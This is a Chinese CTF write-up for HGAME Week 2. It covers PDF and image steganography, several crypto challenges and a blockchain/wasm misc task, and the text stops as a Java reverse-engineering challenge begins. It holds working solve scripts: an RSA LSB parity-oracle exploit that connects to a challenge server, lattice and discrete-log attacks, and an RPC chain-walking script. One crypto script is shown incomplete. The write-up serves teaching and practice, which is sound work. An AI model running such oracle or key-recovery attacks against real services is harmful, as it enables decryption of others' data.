out.save('bitmask_image.png')

得到 bitmask_image.png

hgame49.png

可读出隐藏文字:

1
This is a key for u

后面一个一个试得到的密码是:

1
this_is_a_key_for_u

打开图片,底部直接写着 flag:

hgame50.png

flag

1
hgame{bec0use_lilies_are_7he_b1st}

[REDACTED]

hgame51.png

直接复制出来

1
2
3
4
n case of an undampened local chrono-logical 
shift, initiate the SCRAMBLE protocol with
passphrase 1:PAR4D0X before notifying the onsite
Coordinator.

这里可以看到第一部分:PAR4D0X,接着第二部分也是一样的

hgame52.png

将这个解密一下第二段:

hgame53.png

第二部分:AllCl3arToPr0ceed

第三部分是里面的图片

hgame54.png

将提取出来的照片进行lsb操作

hgame55.png

第三部分为:Sh4m1R,最后一部分 restore_page.py

1
2
3
4
5
6
7
8
9
import fitz

doc = fitz.open("manual.pdf")

# 这个题里 /Pages 是对象 59(可通过 grep/strings 或手工定位)
doc.update_object(59, "<< /Type /Pages /Kids [1 0 R 7 0 R 34 0 R] /Count 3 >>")

doc.save("manual_3pages.pdf")
print("[+] wrote manual_3pages.pdf")

运行:

1
python restore_page.py

现在 manual_3pages.pdf 会有 3 页(第 1 页就是被隐藏的那页)。

hgame56.png

你会得到:D0cR3qu3st3r_Tutu

所以flag为:

1
hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}

Drifting–Week2–WriteUp

签到

明年见!

填完问卷得到flag

Crypto

ezRSA

先对server.py的代码进行分析

  1. 参数生成:n = p*qe 为 50 bit 随机数,d = e^{-1} mod phi
  2. 加密接口:选项 1 返回:c = m^(e xor (1<<x)) mod n
  3. 解密接口:选项 2 返回:m = c^d mod n,一旦执行过选项 3(Get flag),safe=False,会对输出做 disguise
  4. disguise 漏洞:disguise 的最后一个字节会被同一个 mask 异或两次,结果抵消。结论:safe=False 后,解密结果的最后一个字节仍为真实值,最低位(LSB)可直接读取

第一步先恢复 n

safe=True 时可直接拿到真实解密结果。取随机 m,定义:

  • a = D(m) = m^d mod n
  • b = E_{x=0}(m) = m^(e xor 1) mod n
  • z = D(b) = m^((e xor 1)d) mod n

由于 e 必为奇数(与偶数 phi 互素),e xor 1 = e-1,所以:

  • z = m^(ed-d) = m^(1+k*phi-d) = m * m^{-d} (mod n)
  • a*z = m (mod n)
  • a*z - m 一定是 n 的倍数

多组随机 mgcd(a*z-m),即可恢复 n

接着逐位恢复 e(50 bit)

g=2

  • gd = D(g) = g^d mod n
  • 对每个 bit 位 x
    • cx = E_x(g) = g^(e xor 2^x)
    • zx = D(cx) = g^((e xor 2^x)d)

e_x = 0

  • zx = g * (gd)^(2^x) mod n

e_x = 1

  • zx = g * (gd)^(-2^x) mod n

分别计算 plus/minus 比较即可判定该位是 0/1

最后进行解密 flag

执行选项 3 得到:

  • C0 = flag^e mod n
  • 同时 safe=False

此时可用选项 2 查询任意密文解密结果最后一字节的最低位,得到明文奇偶性。

标准 LSB Oracle:

  • 预计算 t = 2^e mod n
  • 迭代:Ci = Ci-1 * t mod n
  • 每次查询 Di = Dec(Ci) 的 LSB,二分收缩 m 的区间 [L,U)
  • log2(n) 次后得到 m=flag_int

最后 long_to_bytes(m) 后按题目 pad(...,127) 进行 unpad(127) 即得 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#!/usr/bin/env python3
import base64
import math
import random
import socket
from fractions import Fraction

from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes

HOST = "1.116.118.188"
PORT = 31551
E_BITS = 50


class EzRSAClient:
def __init__(self, host: str, port: int, timeout: float = 8.0):
self.sock = socket.create_connection((host, port), timeout=timeout)
self.sock.settimeout(timeout)
self.buf = b""

def close(self):
self.sock.close()

def _recvuntil(self, token: bytes) -> bytes:
while token not in self.buf:
chunk = self.sock.recv(4096)
if not chunk:
raise EOFError("remote closed")
self.buf += chunk
idx = self.buf.index(token) + len(token)
data = self.buf[:idx]
self.buf = self.buf[idx:]
return data

def _recvline(self) -> bytes:
return self._recvuntil(b"\n")

def _sendline(self, line: str):
self.sock.sendall(line.encode() + b"\n")

def _choice(self, c: int):
self._recvuntil(b"Your choice > ")
self._sendline(str(c))

@staticmethod
def _b64_to_int(line: bytes) -> int:
return bytes_to_long(base64.b64decode(line.strip()))

@staticmethod
def _b64_to_bytes(line: bytes) -> bytes:
return base64.b64decode(line.strip())

def encrypt(self, plain: int, bit: int) -> int:
self._choice(1)
self._recvuntil(b"plz give me your plaintext:\n")
self._sendline(str(plain))
self._recvuntil(b"and the bit you want to flip:\n")
self._sendline(str(bit))
return self._b64_to_int(self._recvline())

def decrypt_int(self, cipher: int) -> int:
self._choice(2)
self._recvuntil(b"plz give me your ciphertext:\n")
self._sendline(str(cipher))
return self._b64_to_int(self._recvline())

def decrypt_bytes(self, cipher: int) -> bytes:
self._choice(2)
self._recvuntil(b"plz give me your ciphertext:\n")
self._sendline(str(cipher))
return self._b64_to_bytes(self._recvline())

def get_flag_cipher(self) -> int:
self._choice(3)
return self._b64_to_int(self._recvline())


def recover_n(io: EzRSAClient) -> int:
n = 0
rounds = 0
while rounds < 40 or n.bit_length() < 1000:
m = random.randrange(2, 1 << 40)
a = io.decrypt_int(m)
b = io.encrypt(m, 0)
z = io.decrypt_int(b)
delta = abs(a * z - m)
if delta == 0:
continue
n = math.gcd(n, delta) if n else delta
rounds += 1

for _ in range(20):
m = random.randrange(2, 1 << 40)
a = io.decrypt_int(m)
b = io.encrypt(m, 0)
z = io.decrypt_int(b)
delta = abs(a * z - m)
if delta:
n = math.gcd(n, delta)
return n


def recover_e(io: EzRSAClient, n: int) -> int:
g = 2
gd = io.decrypt_int(g)
e = 0

for x in range(E_BITS):
cx = io.encrypt(g, x)
zx = io.decrypt_int(cx)
bd = pow(gd, 1 << x, n)
plus = (g * bd) % n
minus = (g * inverse(bd, n)) % n
if zx == minus:
e |= 1 << x
elif zx != plus:
raise RuntimeError(f"recover e failed at bit {x}")
return e


def parity_oracle(io: EzRSAClient, n: int, e: int, c0: int) -> int:
lower = Fraction(0, 1)
upper = Fraction(n, 1)
c = c0
two_e = pow(2, e, n)

for _ in range(n.bit_length() + 3):
c = (c * two_e) % n
leak = io.decrypt_bytes(c)
lsb = leak[-1] & 1

mid = (lower + upper) / 2
if lsb == 0:
upper = mid
else:
lower = mid

est = int(upper)
for d in range(-8, 9):
m = est + d
if 0 <= m < n and pow(m, e, n) == c0:
return m
raise RuntimeError("pinpoint plaintext failed")


def parse_flag(m: int) -> bytes:
msg = long_to_bytes(m)
if len(msg) < 127:
msg = msg.rjust(127, b"\x00")
if len(msg) % 127 != 0:
msg = msg.rjust(((len(msg) + 126) // 127) * 127, b"\x00")
return unpad(msg, 127)


def main():
io = EzRSAClient(HOST, PORT)
try:
n = recover_n(io)
e = recover_e(io, n)
cflag = io.get_flag_cipher()
mflag = parity_oracle(io, n, e, cflag)
print(parse_flag(mflag).decode(errors="replace"))
finally:
io.close()


if __name__ == "__main__":
main()

ezDLP

对附件进行分析可以知道:

  • n 为大合数;
  • A in M_2(Z_n)k 是 1000-bit 素数;
  • B = A^k
  • AES 密钥为 md5(long_to_bytes(k))
  • 密文:ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy

主要思路如下:

  1. 2x2 矩阵幂可线性化

由 Cayley-Hamilton,2x2 情况下任意幂都可写成:

1
A^k = u_k * A + v_k * I

所以存在 u, v 使得:

1
B = uA + vI (mod n)

从非对角元直接解出:

u = B01 / A01 (mod n)

1
v = B00 - u*A00 (mod n)
  1. 降为域上的离散对数

对每个素因子 t | n,把关系放到 GF(t):若 lambdaA 的特征值,则

1
lambda^k = u*lambda + v =: mu

1
k ≡ log_lambda(mu) (mod ord(lambda))

于是问题变成求若干个标量 DLP,再 CRT 合并。

  1. 用 FactorDB 分解 n = p*q
  2. GF(p) 上:A 特征多项式分裂,直接做一次 DLP,得到 k mod ord_p
  3. GF(q) 上:特征多项式不可约,转到 GF(q^2)
  4. q+1 含一个大素因子 r,直接 DLP 不友好。改为:
    • g = lambda^r
    • h = mu^r = g^k
    • k mod ord(g)
  5. 合并同余后,利用题目约束 k 是 1000-bit 素数筛选,得到唯一 k
  6. 验证 A^k == B,再 AES-ECB 解密。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from sage.all import *
import base64, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import sympy as sp

n, a, b = load('data.sobj')
ct = base64.b64decode('ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy')

# FactorDB 查询到的分解
p = Integer('282964522500710252996522860321128988886949295243765606602614844463493284542147924563568163094392590450939540920228998768405900675902689378522299357223754617695943')
q = Integer('511405127645157121220046316928395473344738559750412727565053675377154964183416414295066240070803421575018695355362581643466329860038567115911393279779768674224503')
assert p * q == n

# B = uA + vI
R = Zmod(n)
u = R(b[0, 1]) / R(a[0, 1])
v = R(b[0, 0]) - u * R(a[0, 0])

# --- mod p ---
Fp = GF(p)
Ap = a.change_ring(Fp)
lam_p = Ap.charpoly().roots(multiplicities=False)[0]
mu_p = Fp(Integer(u)) * lam_p + Fp(Integer(v))
ord_p = Integer(lam_p.multiplicative_order())
k_p = Integer(discrete_log(mu_p, lam_p, ord=ord_p))

# --- mod q (in GF(q^2)) ---
fac_qp1 = sp.factorint(int(q + 1))
r = Integer(max(fac_qp1)) # q+1 的最大素因子

Fq = GF(q)
Aq = a.change_ring(Fq)
K = GF(q**2, 'z')
lam_q = Aq.charpoly().change_ring(K).roots(multiplicities=False)[0]
mu_q = K(Fq(Integer(u))) * lam_q + K(Fq(Integer(v)))

g = lam_q**r
h = mu_q**r
ord_g = Integer(g.multiplicative_order())
k_q = Integer(discrete_log(h, g, ord=ord_g))

# CRT + 1000-bit prime 约束
k0 = Integer(CRT(k_p, k_q, ord_p, ord_g))
L = Integer(lcm(ord_p, ord_g))
low, high = Integer(2)**999, Integer(2)**1000 - 1
if k0 < low:
k0 += ((low - k0 + L - 1) // L) * L

k = None
x = k0
while x <= high:
if is_prime(x):
k = Integer(x)
break
x += L

assert k is not None
assert a**int(k) == b

key = hashlib.md5(long_to_bytes(int(k))).digest()
flag = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), 16)
print(flag.decode())

Decision

先对附件进行分析:

  • 已知参数:n=25, m=15, q=256708627612544299823733222331047933697
  • 每个 bit 会生成 15(a, b) 样本:
    • bit=1:b = <a,s> + e (mod q)e 为离散高斯小噪声
    • bit=0:整条样本完全随机
  • 输出是 200

所有 bit=1 组共用同一个 secret s。因此只要找到几组真实 LWE 样本,就能恢复 s,再对全部 200 组做残差判别得到 bit 串。

  1. 把 3 个候选分组拼在一起,得到 k=45 条方程(45 > n=25)。
  2. 对线性集合 L = {A*s + q*z} 建格(z in Z^k),把 b 当目标做 CVP:
    • 若三组都是真 LWE,最近距离约等于噪声范数
    • 若混入随机组,距离会非常大
  3. 找到低距离三元组后,用最近格点 vA*s = v (mod q) 得到 s
  4. 对每一组 15 条样本计算残差
    • r = center(b - <a,s> mod q)
    • max(|r|) < 2^20 判为 bit=1,否则 bit=0
  5. 拼出 200 bit,按题目原逻辑 int(bitstr,2).to_bytes(25,'little') 还原明文。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env sage -python
import ast
import math
import random
from pathlib import Path

from sage.all import GF, Matrix, ZZ, vector
from fpylll import CVP, IntegerMatrix, LLL

q = 256708627612544299823733222331047933697
n = 25
m = 15


def centered(x, mod):
x %= mod
return x - mod if x > mod // 2 else x


def build_basis(A_rows, mod):
"""
构造格 L = {A*s + mod*z} 的一组整数基。
A_rows: k x n
返回: k x k 基矩阵(行基)
"""
k = len(A_rows)
gens = []

# mod * e_i
for i in range(k):
row = [0] * k
row[i] = mod
gens.append(row)

# A 的列向量
for j in range(n):
gens.append([int(A_rows[i][j]) for i in range(k)])

H = Matrix(ZZ, gens).hermite_form(include_zero_rows=False)
return [[int(H[i, j]) for j in range(k)] for i in range(k)]


def babai_closest_vector(B_rows, target):
k = len(B_rows)
B = IntegerMatrix(k, k)
for i in range(k):
for j in range(k):
B[i, j] = int(B_rows[i][j])

LLL.reduction(B)
v = CVP.babai(B, [int(x) for x in target])
return [int(x) for x in v]


def triple_distance(enc, idxs):
A_rows, b = [], []
for gid in idxs:
for t in enc[gid]:
A_rows.append(list(t[:-1]))
b.append(int(t[-1]))

B = build_basis(A_rows, q)
v = babai_closest_vector(B, b)
dist = math.sqrt(sum((int(b[i]) - int(v[i])) ** 2 for i in range(len(b))))
return dist


def find_good_triple(enc, rounds=80, seed=0):
rnd = random.Random(seed)
N = len(enc)
best = None
for _ in range(rounds):
idxs = sorted(rnd.sample(range(N), 3))
d = triple_distance(enc, idxs)
if best is None or d < best[0]:
best = (d, idxs)
return best


def recover_secret_from_triple(enc, idxs):
A_rows, b = [], []
for gid in idxs:
for t in enc[gid]:
A_rows.append([int(x) for x in t[:-1]])
b.append(int(t[-1]))

# CVP 找到最近的格点 v ≈ A*s + q*z
B = build_basis(A_rows, q)
v = babai_closest_vector(B, b)

# 在 GF(q) 上解 A*s = v
k = len(A_rows)
F = GF(q)
A = Matrix(F, k, n, [A_rows[i][j] for i in range(k) for j in range(n)])
rhs = vector(F, [x % q for x in v])
s = A.solve_right(rhs)
return [int(x) for x in s]


def recover_bits(enc, s, threshold=(1 << 20)):
bits = []
for group in enc:
max_abs = 0
for t in group:
a = t[:-1]
bb = int(t[-1])
dot = sum(int(a[j]) * s[j] for j in range(n))
r = centered(bb - dot, q)
max_abs = max(max_abs, abs(r))
bits.append('1' if max_abs < threshold else '0')
return ''.join(bits)


def bits_to_flag(bitstr):
msg = int(bitstr, 2).to_bytes(25, 'little')
return b"hgame{" + msg + b"}"


def main():
enc = ast.literal_eval(Path('output.txt').read_text())

# 已验证的最快三元组(针对本题附件)
triple = [25, 37, 79]

# 若想自动找三元组,打开下面两行:
# best_d, triple = find_good_triple(enc, rounds=80, seed=0)
# print(f"[+] best triple = {triple}, dist = {best_d}")

s = recover_secret_from_triple(enc, triple)
bitstr = recover_bits(enc, s, threshold=(1 << 20))
flag = bits_to_flag(bitstr)

print(f"[+] triple: {triple}")
print(f"[+] bits(200): {bitstr}")
print(f"[+] flag: {flag.decode()}")


if __name__ == '__main__':
main()

eezzDLP

先对附件进行分析:

  • 生成素数 p,并令 n = p*p
  • 随机矩阵 a ∈ Mat(2, Z/nZ),然后 b = a^k
  • k 是 660-bit 素数
  • AES key = md5(long_to_bytes(k)),AES-ECB 加密 flag

所以关键是:从 n, a, b 恢复 k

  1. 先把 p 拿到

因为 n = p^2,所以直接整数开方就得到 p = sqrt(n)

  1. 用 “提升/线性化” 拿到 k mod p

在模 p^2 的群里有个非常常用的技巧:

  • 对矩阵做 A = a^(p-1) (mod p^2),由于在模 p 下有 x^(p-1)=1 的性质,通常会有,A ≡ I (mod p),从而**A = I + pC (mod p^2)**
  • 同理 B = b^(p-1) = a^(k(p-1)) = (a^(p-1))^k,即:B = (I + pC)^k ≡ I + k·pC (mod p^2)

从矩阵任意一个非零位置就能直接解出 k mod p

  1. 再拿一个小模数下的 k mod q

仅知道 k mod p 还不够。所以再利用 p-1 的一个小因子,在模 p 的特征值上做一个小规模 DLP:

  • mod p 下求 a 的特征值 λb 的特征值 μ,满足 μ = λ^k
  • 投影到阶为 q 的子群:
    g = λ^((p-1)/q), h = μ^((p-1)/q),则 h = g^k 且阶为 q
  • 由于 q 只有 40-bit,用 Pollard Rho/BSGS 都能很快求出 k mod q
  1. CRT 合并 + 枚举少量候选

k mod pk mod q 用 CRT 合并后,模数大约是 ~652 bit,离 660 bit 只差 8 bit 左右,所以只需要枚举大概 2^7~2^8 个候选 k

  • 过滤掉偶数、非素数
  • 直接验算 a^k == b (mod p^2) 找到唯一正确的 k
  1. 还原 AES key 解密得到 flag

key = md5(long_to_bytes(k)),AES-ECB 解密并去 padding 得到 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import zlib, math, random, base64, hashlib

b_entries = [int(strings[i], 32) for i in [13,14,15,16]]


p = math.isqrt(n)
assert p*p == n


A = tuple(a_entries)
B = tuple(b_entries)


# 1) 求 k mod p:用 A^(p-1), B^(p-1) 线性化
Ap1 = mat_pow(A, p-1, n)
Bp1 = mat_pow(B, p-1, n)


def diff_div_p(M):
x1,x2,x3,x4 = M
x1 = (x1 - 1) % n
x4 = (x4 - 1) % n
# 应该都能整除 p
return ((x1 // p) % p,
(x2 // p) % p,
(x3 // p) % p,
(x4 // p) % p)


C = diff_div_p(Ap1)
D = diff_div_p(Bp1)


# 从任意非零位置解 k mod p
kp = None
for c, d in zip(C, D):
if c % p != 0:
kp = (d * pow(c, -1, p)) % p
break
assert kp is not None


# 2) 求 k mod q,其中 q 是 p-1 的一个小素因子(本题为 40-bit)
q = 688465747867


# 求 a,b 在 mod p 下的 trace,并解特征值(p%4==3 的情况求 sqrt 很方便)
tA = (A[0] + A[3]) % p
discA = (tA*tA - 4) % p
sqrt_discA = pow(discA, (p+1)//4, p)
inv2 = (p+1)//2
lam1 = ((tA + sqrt_discA) * inv2) % p
# lam2 = lam1^{-1}


tB = (B[0] + B[3]) % p
discB = (tB*tB - 4) % p
sqrt_discB = pow(discB, (p+1)//4, p)
mu1 = ((tB + sqrt_discB) * inv2) % p
mu2 = ((tB - sqrt_discB) * inv2) % p


g = pow(lam1, (p-1)//q, p)
h1 = pow(mu1, (p-1)//q, p)
h2 = pow(mu2, (p-1)//q, p)


x1 = pollard_rho_dlp(g, h1, p, q)
x2 = (q - x1) % q # 对应 mu2 情况


# 3) CRT 合并 k mod p 与 k mod q -> 枚举少量候选
M = p*q
LOW = 1 << 659
HIGH = (1 << 660) - 1


sols = []
for r in [x1, x2]:
base = crt(kp, p, r, q) % M
sols.append(base)


candidates = []
for base in sols:
t_start = 0 if base >= LOW else (LOW - base + M - 1)//M
t = t_start
while True:
kk = base + t*M
if kk > HIGH:
break
if kk % 2 == 1 and is_probable_prime(kk):
# 验算矩阵关系
if mat_pow(A, kk, n) == B:
candidates.append(kk)
t += 1


assert len(candidates) == 1
k = candidates[0]
print("[+] recovered k =", k)


# 4) 解密
key = hashlib.md5(long_to_bytes(k)).digest()
ct = base64.b64decode(CIPH_B64)
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
flag = unpad(pt, 16)
print("[+] flag =", flag.decode())


if __name__ == "__main__":
main()

Misc

Vidar Token

打开首页先查看源代码

hgame57.png

可以看到最后是有一个 app.js,接着访问查看

hgame58.png

从中可以分析得到:RPC 地址:/rpc,前端会拉取 /wasm/k.wasm,调用 wasm 导出函数 get_entrance(),从内存读取字符串 ENTRANCE=0x...,对这个合约调用:tokenURI(0)

这说明:真正入口合约地址不在明文 JS,而在 wasm。tokenURI(0) 的元数据里还会给下一跳线索。接下来就是要还原 ENTRANCE 与下一跳 coin 地址,按前端逻辑执行 wasm 后拿到:

  • ENTRANCE=0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0

对它调用 tokenURI(0),解 base64 JSON 后拿到:

  • vidar_coin = 0xc5273abfb36550090095b1edec019216ad21be6c

到这里相当于完成了“线索追踪”。对 VidarCoin.symbol() 调用会得到一串看似十六进制字符串。直接取 VidarCoin 的部署交易 input里的构造参数密文。接着从部署交易中提取密文,链上是 anvil,区块很少,遍历区块交易即可找到:

  • 其 receipt 的 contractAddress == vidar_coin 的那笔 CREATE 交易。

从该交易 input 尾部可解析出构造参数,提取到密文:

1
i``jd|TX`1R70RuBm~,lo7vXDub*VG4j^5{]07g2746z

上面这些关键内容可以使用下面这个脚本进行查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
const BASE = process.argv[2] || 'http://1.116.118.188:32251';
const RPC = `${BASE.replace(/\/$/, '')}/rpc`;

async function rpc(method, params) {
const res = await fetch(RPC, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }),
});
const j = await res.json();
if (j.error) throw new Error(`${method} failed: ${JSON.stringify(j.error)}`);
return j.result;
}

function readCString(mem, offset, max = 160) {
const bytes = new Uint8Array(mem.buffer, offset, max);
let out = '';
for (let i = 0; i < bytes.length; i++) {
if (bytes[i] === 0) break;
out += String.fromCharCode(bytes[i]);
}
return out;
}

function encU256(n) {
return BigInt(n).toString(16).padStart(64, '0');
}

function decodeAbiString(hex) {
const data = hex.slice(2);
const off = Number(BigInt('0x' + data.slice(0, 64)));
const len = Number(BigInt('0x' + data.slice(off * 2, off * 2 + 64)));
const start = off * 2 + 64;
return Buffer.from(data.slice(start, start + len * 2), 'hex').toString('utf8');
}

async function getEntranceFromWasm() {
const wasmUrl = `${BASE.replace(/\/$/, '')}/wasm/k.wasm`;
const wasmBuf = await fetch(wasmUrl).then((r) => r.arrayBuffer());
const { instance } = await WebAssembly.instantiate(wasmBuf, {});
const ptr = instance.exports.get_entrance();
const s = readCString(instance.exports.memory, ptr, 160);
const m = s.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
if (!m) throw new Error(`bad wasm output: ${s}`);
return m[1];
}

async function getVidarCoinFromTokenURI(entrance) {
const data = '0xc87b56dd' + encU256(0); // tokenURI(uint256)
const ret = await rpc('eth_call', [{ to: entrance, data }, 'latest']);
const uri = decodeAbiString(ret);
if (!uri.startsWith('data:application/json;base64,')) {
throw new Error(`unexpected tokenURI: ${uri.slice(0, 80)}`);
}
const meta = JSON.parse(Buffer.from(uri.split(',')[1], 'base64').toString('utf8'));
if (!meta.vidar_coin) throw new Error('vidar_coin not found in tokenURI json');
return meta.vidar_coin;
}

async function findDeployTxByContract(contractAddr) {
const latest = Number(await rpc('eth_blockNumber', []));
const target = contractAddr.toLowerCase();

for (let i = 0; i <= latest; i++) {
const block = await rpc('eth_getBlockByNumber', ['0x' + i.toString(16), true]);
for (const tx of block.transactions || []) {
const rcpt = await rpc('eth_getTransactionReceipt', [tx.hash]);
if ((rcpt.contractAddress || '').toLowerCase() === target) {
return tx.hash;
}
}
}
throw new Error(`deploy tx not found for ${contractAddr}`);
}

function extractCipherFromCreateInput(inputHex) {
const data = inputHex.slice(2);
const tail = data.slice(-0x80 * 2);

const offset = Number(BigInt('0x' + tail.slice(0, 64)));
const len = Number(BigInt('0x' + tail.slice(64, 128)));
if (offset !== 0x20) {
throw new Error(`unexpected constructor offset: 0x${offset.toString(16)}`);
}

const strHex = tail.slice(128, 128 + len * 2);
return Buffer.from(strHex, 'hex').toString('utf8');
}

(async () => {
const entrance = await getEntranceFromWasm();
const vidarCoin = await getVidarCoinFromTokenURI(entrance);
const deployTx = await findDeployTxByContract(vidarCoin);
const tx = await rpc('eth_getTransactionByHash', [deployTx]);
const cipher = extractCipherFromCreateInput(tx.input);

console.log(`ENTRANCE=${entrance}`);
console.log(`vidar_coin = ${vidarCoin}`);
console.log(cipher);
})();

hgame59.png

接着逐字节交替异或:

  • 偶数位(从 0 开始)异或 0x01
  • 奇数位异或 0x07

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
// solve.js
// Node.js >= 18

const BASE = process.argv[2] || "http://1.116.118.188:32251";
const RPC = `${BASE.replace(/\/$/, "")}/rpc`;

async function rpc(method, params) {
const res = await fetch(RPC, {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify({ jsonrpc: "2.0", id: 1, method, params }),
});
const j = await res.json();
if (j.error) throw new Error(`${method} failed: ${JSON.stringify(j.error)}`);
return j.result;
}

function readCString(mem, offset, max = 160) {
const bytes = new Uint8Array(mem.buffer, offset, max);
let out = "";
for (let i = 0; i < bytes.length; i++) {
if (bytes[i] === 0) break;
out += String.fromCharCode(bytes[i]);
}
return out;
}

function encU256(n) {
return BigInt(n).toString(16).padStart(64, "0");
}

function decodeAbiString(hex) {
const data = hex.slice(2);
const off = Number(BigInt("0x" + data.slice(0, 64)));
const len = Number(BigInt("0x" + data.slice(off * 2, off * 2 + 64)));
const start = off * 2 + 64;
return Buffer.from(data.slice(start, start + len * 2), "hex").toString("utf8");
}

function decrypt(cipher) {
let out = "";
for (let i = 0; i < cipher.length; i++) {
const k = i % 2 === 0 ? 0x01 : 0x07;
out += String.fromCharCode(cipher.charCodeAt(i) ^ k);
}
return out;
}

async function getEntranceFromWasm() {
const wasmBuf = await fetch(`${BASE.replace(/\/$/, "")}/wasm/k.wasm`).then((r) => r.arrayBuffer());
const { instance } = await WebAssembly.instantiate(wasmBuf, {});
const ptr = instance.exports.get_entrance();
const s = readCString(instance.exports.memory, ptr, 160);
const m = s.match(/ENTRANCE=(0x[a-fA-F0-9]{40})/);
if (!m) throw new Error(`bad wasm output: ${s}`);
return m[1];
}

async function getCoinFromTokenURI(entrance) {
const data = "0xc87b56dd" + encU256(0); // tokenURI(uint256)
const ret = await rpc("eth_call", [{ to: entrance, data }, "latest"]);
const uri = decodeAbiString(ret);
if (!uri.startsWith("data:application/json;base64,")) {
throw new Error(`unexpected tokenURI: ${uri.slice(0, 80)}`);
}
const json = JSON.parse(Buffer.from(uri.split(",")[1], "base64").toString("utf8"));
if (!json.vidar_coin) throw new Error("vidar_coin not found in tokenURI json");
return json.vidar_coin;
}

async function findDeployTxByContract(contractAddr) {
const latest = Number(await rpc("eth_blockNumber", []));
const target = contractAddr.toLowerCase();

for (let i = 0; i <= latest; i++) {
const blockHex = "0x" + i.toString(16);
const blk = await rpc("eth_getBlockByNumber", [blockHex, true]);
for (const tx of blk.transactions || []) {
const rcpt = await rpc("eth_getTransactionReceipt", [tx.hash]);
if ((rcpt.contractAddress || "").toLowerCase() === target) {
return tx.hash;
}
}
}
throw new Error(`deploy tx not found for ${contractAddr}`);
}

function extractCipherFromCreateInput(inputHex) {
// 本题构造参数是 1 个 dynamic string,ABI 编码尾部固定是:
// [offset=0x20][len][data padded]
// 对本题 len=0x2c,总尾长 0x80 字节。
const data = inputHex.slice(2);
const tail = data.slice(-0x80 * 2);
const offset = Number(BigInt("0x" + tail.slice(0, 64)));
const len = Number(BigInt("0x" + tail.slice(64, 128)));
if (offset !== 0x20) throw new Error(`unexpected constructor offset: 0x${offset.toString(16)}`);
const strHex = tail.slice(128, 128 + len * 2);
return Buffer.from(strHex, "hex").toString("utf8");
}

(async () => {
const entrance = await getEntranceFromWasm();
const coin = await getCoinFromTokenURI(entrance);
const deployTx = await findDeployTxByContract(coin);
const tx = await rpc("eth_getTransactionByHash", [deployTx]);

const cipher = extractCipherFromCreateInput(tx.input);
const flag = decrypt(cipher);

console.log("[+] ENTRANCE:", entrance);
console.log("[+] VIDAR_COIN:", coin);
console.log("[+] DEPLOY_TX:", deployTx);
console.log("[+] CIPHER:", cipher);
console.log("[+] FLAG:", flag);
})();

运行:

hgame60.png

1
hgame{U_a6S01UtEly-kn0w_Erc-W@5m_2zZ10f5637}

Reverse

衔尾蛇

  1. 初始分析:确认程序结构

先看附件内容,只有一个 Spring Boot FatJar:

1
Get-ChildItem

解包后能看到关键目录:

  • BOOT-INF/classes/com/seal/ouroborosapp/...(主程序类)
  • BOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar(API 与完整混淆方法)
  • BOOT-INF/classes/application-data.db(核心密文数据)
